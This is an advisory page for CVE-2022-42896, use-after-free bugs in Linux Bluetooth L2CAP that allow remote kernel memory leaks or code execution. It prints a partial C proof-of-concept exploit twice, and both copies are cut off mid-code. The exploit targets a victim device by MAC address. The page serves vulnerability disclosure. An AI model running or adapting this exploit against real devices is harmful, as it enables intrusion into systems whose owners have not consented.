Linux Kernel: UAF in Bluetooth L2CAP Handshake
MediumCVE-2022-42896 · Published Nov 29, 2022
### Summary There are use-after-free vulnerabilities in the Linux kernel's `net/bluetooth/l2cap_core.c`'s `l2cap_connect` and `l2cap_le_connect_req` functions which may allow code execution and leaking kernel memory (respectively) remotely via Bluetooth. The `l2cap_le_connect_req` bug was introduced in [commit 27e2d4c](https://github.com/torvalds/linux/commit/27e2d4c8d28be1d1b4ecfbffab572d7dbd35254d) (version: 3.12.0, date: 2013-Dec-05), the SMP channel is available since [commit 70db83c](https://github.com/torvalds/linux/commit/70db83c4bcdc1447bbcb318389561c90d7056b18) (version: 3.16.0, date: 2014-Aug-14). ### Severity Moderate ### Proof of Concept **UAF read in l2cap_le_connect_req** ```c #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/uio.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> typedef struct l2cap_le_conn_req { uint16_t psm; uint16_t scid; uint16_t mtu; uint16_t mps; uint16_t credits; } __attribute__ ((packed)) l2cap_le_conn_req; int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, ui...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Kernel Product | >= v3.16.0 | No fix yet |
Details and references
### Summary There are use-after-free vulnerabilities in the Linux kernel's `net/bluetooth/l2cap_core.c`'s `l2cap_connect` and `l2cap_le_connect_req` functions which may allow code execution and leaking kernel memory (respectively) remotely via Bluetooth. The `l2cap_le_connect_req` bug was introduced in [commit 27e2d4c](https://github.com/torvalds/linux/commit/27e2d4c8d28be1d1b4ecfbffab572d7dbd35254d) (version: 3.12.0, date: 2013-Dec-05), the SMP channel is available since [commit 70db83c](https://github.com/torvalds/linux/commit/70db83c4bcdc1447bbcb318389561c90d7056b18) (version: 3.16.0, date: 2014-Aug-14). ### Severity Moderate ### Proof of Concept **UAF read in l2cap_le_connect_req** ```c #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/uio.h> #include <bluetooth/bluetooth.h> #include <bluetooth/l2cap.h> #include <bluetooth/hci.h> #include <bluetooth/hci_lib.h> typedef struct l2cap_le_conn_req { uint16_t psm; uint16_t scid; uint16_t mtu; uint16_t mps; uint16_t credits; } __attribute__ ((packed)) l2cap_le_conn_req; int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) { uint8_t type = HCI_ACLDATA_PKT; uint16_t BCflag = 0x0000; uint16_t PBflag = 0x0002; uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F; hci_acl_hdr hdr; hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); hdr.dlen = data_length; struct iovec iv[3]; iv[0].iov_base = &type; iv[0].iov_len = 1; iv[1].iov_base = &hdr; iv[1].iov_len = HCI_ACL_HDR_SIZE; iv[2].iov_base = data; iv[2].iov_len = data_length; return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec)); } #define L2CAP_CID_LE_SIGNALING 0x0005 #define L2CAP_LE_CONN_REQ 0x14 #define L2CAP_CID_SMP 0x0006 #define L2CAP_CID_SMP_BREDR 0x0007 int main(int argc, char **argv) { if (argc != 2) { printf("Usage: %s MAC_ADDR\n", argv[0]); return 1; } bdaddr_t dst_addr; str2ba(argv[1], &dst_addr); printf("[*] Resetting hci0 device...\n"); system("sudo hciconfig hci0 down"); system("sudo hciconfig hci0 up"); printf("[*] Opening hci device...\n"); struct hci_dev_info di; int hci_device_id = hci_get_route(NULL); int hci_socket = hci_open_dev(hci_device_id); if (hci_devinfo(hci_device_id, &di) < 0) { perror("hci_devinfo"); return 1; } struct hci_filter flt; hci_filter_clear(&flt); hci_filter_all_ptypes(&flt); hci_filter_all_events(&flt); if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) { perror("setsockopt(HCI_FILTER)"); return 1; } int opt = 1; if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) { perror("setsockopt(HCI_DATA_DIR)"); return 1; } printf("[*] Connecting to victim...\n"); struct sockaddr_l2 laddr = {0}; laddr.l2_family = AF_BLUETOOTH; laddr.l2_bdaddr_type = BDADDR_LE_PUBLIC; laddr.l2_bdaddr = di.bdaddr; struct sockaddr_l2 raddr = {0}; raddr.l2_family = AF_BLUETOOTH; raddr.l2_bdaddr_type = BDADDR_LE_PUBLIC; raddr.l2_bdaddr = dst_addr; int l2_sock; printf("[*] socket\n"); if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("socket"); return 1; } printf("[*] bind\n"); if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { perror("bind"); return 1; } printf("[*] connect\n"); if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) { perror("connect"); return 1; } printf("[*] getsockopt\n"); struct l2cap_conninfo l2_conninfo; socklen_t l2_conninfolen = sizeof(l2_conninfo); if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) { perror("getsockopt"); return 1; } uint16_t hci_handle = l2_conninfo.hci_
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Apr 122023 | Linux Kernel: Spectre v2 SMT mitigations problem | Medium | 6.3 |
| Feb 212023 | CISCO: ClamAV Heap Buffer Overflow | High | No fix yet |
| Feb 32023 | Linux Kernel: Bypassing Spectre-BTI User Space Mitigations | Low | e8377f0456fb6738a4668d4df16c13d7599925fd |
| Jan 302023 | Amazon: RDS SQL Server | Medium | No fix yet |
| Jan 172023 | Unsandboxed Password Manager | High | No fix yet |
| Nov 292022 | Linux Kernel: Infoleak in Bluetooth L2CAP Handling | Medium | No fix yet |